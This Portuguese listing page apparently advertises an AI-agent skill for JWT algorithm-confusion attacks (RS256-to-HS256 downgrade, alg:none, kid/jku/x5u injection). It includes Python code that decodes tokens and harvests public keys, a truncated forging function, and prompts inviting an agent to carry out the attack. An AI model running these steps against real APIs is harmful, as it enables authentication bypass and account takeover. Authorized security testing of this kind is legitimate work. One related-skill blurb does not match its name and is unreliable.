exploiting-jwt-algorithm-confusion-attack
Faz seu agente explorar ataques de confusão de algoritmo JWT, como downgrade de RS256 para HS256.
O que ela faz
Este código tenta enganar um sistema de autenticação que usa tokens JWT. Ele faz isso alterando a forma como o token é assinado para que possa ser aceito mesmo que não deveria.
Quando usar
- ✓Quando você está testando a segurança de um sistema que usa tokens JWT com o algoritmo RS256.
- ✓Para verificar se o sistema aceita tokens sem assinatura válida (alg:none).
- ✓Para testar se o sistema usa a chave pública incorreta para verificar a assinatura.
Exemplo do que pedir para a IA
“Tente enganar o sistema para aceitar um token JWT modificado.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ele pega um token JWT válido, muda o algoritmo de assinatura para um mais fraco (como HS256) e usa a chave pública do sistema como segredo para assinar. Se o sistema não verificar corretamente, ele aceitará o token falso.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-jwt-algorithm-confusion-attackOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Explorando Ataques de Confusão de Algoritmo JWT
Quando Usar
- Testando APIs que usam tokens JWT RS256 (assimétricos) para autenticação para verificar o downgrade do algoritmo para HS256
- Avaliando implementações JWT para bypass de
alg:noneonde o servidor ignora a verificação de assinatura - Avaliando bibliotecas JWT para vulnerabilidades de confusão de chave onde a chave pública é usada como segredo HMAC
- Testando os parâmetros de cabeçalho
kid(Key ID),jku(JWK Set URL) ex5u(X.509 URL) para injeção - Validando que o servidor da API impõe um algoritmo específico e não confia no cabeçalho JWT
Não use sem autorização por escrito. A exploração de JWT pode levar a bypass de autenticação e tomada de controle de conta.
Pré-requisitos
- Autorização por escrito especificando a API alvo e a autenticação baseada em JWT no escopo
- Um token JWT válido da API alvo (obtido através de autenticação legítima)
- A chave pública RSA do servidor (obtível do endpoint JWKS, certificado TLS ou endpoint de chave pública)
- Python 3.10+ com as bibliotecas
PyJWT,cryptographyerequests jwt_toolpara testes automatizados de ataques JWT- Burp Suite com a extensão JWT Editor
Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão por escrito para testar é ilegal e pode violar leis de fraude computacional.
Fluxo de Trabalho
Passo 1: Análise do Token JWT
import base64
import json
import requests
import hmac
import hashlib
import time
BASE_URL = "https://target-api.example.com/api/v1"
# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")
# Decode JWT parts
def decode_jwt(token):
parts = token.split('.')
if len(parts) != 3:
raise ValueError("Invalid JWT format")
def pad(s):
return s + '=' * (4 - len(s) % 4)
header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
return header, payload, parts[2]
header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")
Passo 2: Obtenha a Chave Pública
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# Extract RSA public key from JWKS
from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # First key
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
print(f"Public key found at: {path}")
Passo 3: Ataque de Confusão de Algoritmo (RS256 para HS256)
def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
Confusão de algoritmo: Assina o token com HS256 usando a chave pública RSA como segredo.
…
Perguntas frequentes
O que é um token JWT?
É um pequeno pedaço de informação usado para autenticar usuários em sistemas web, como um passe de acesso digital.
O que é RS256 e HS256?
São diferentes 'receitas' (algoritmos) para assinar e verificar tokens JWT. RS256 é mais seguro que HS256.
Por que usar a chave pública como segredo é perigoso?
Porque a chave pública deveria ser apenas para verificar, não para assinar. Usá-la como segredo permite que qualquer um crie tokens válidos.
Detalhes
Descrição original do autor
Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5749
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
dashboard-builder
Ajuda seu agente a criar painéis de monitoramento úteis. Ele transforma dados em gráficos que respondem a perguntas importantes sobre o sistema.
affaan-m/ECC
dev-team
Simula uma equipe de desenvolvimento colaborativa, onde diferentes papéis respondem a um problema juntos. É útil para obter múltiplas perspectivas sem trocar de agente manualmente.
affaan-m/ECC
ecc-council
Faz seu agente reunir um conselho de quatro vozes para tomar decisões difíceis. É útil quando há várias opções boas e é preciso debater antes de escolher.
affaan-m/ECC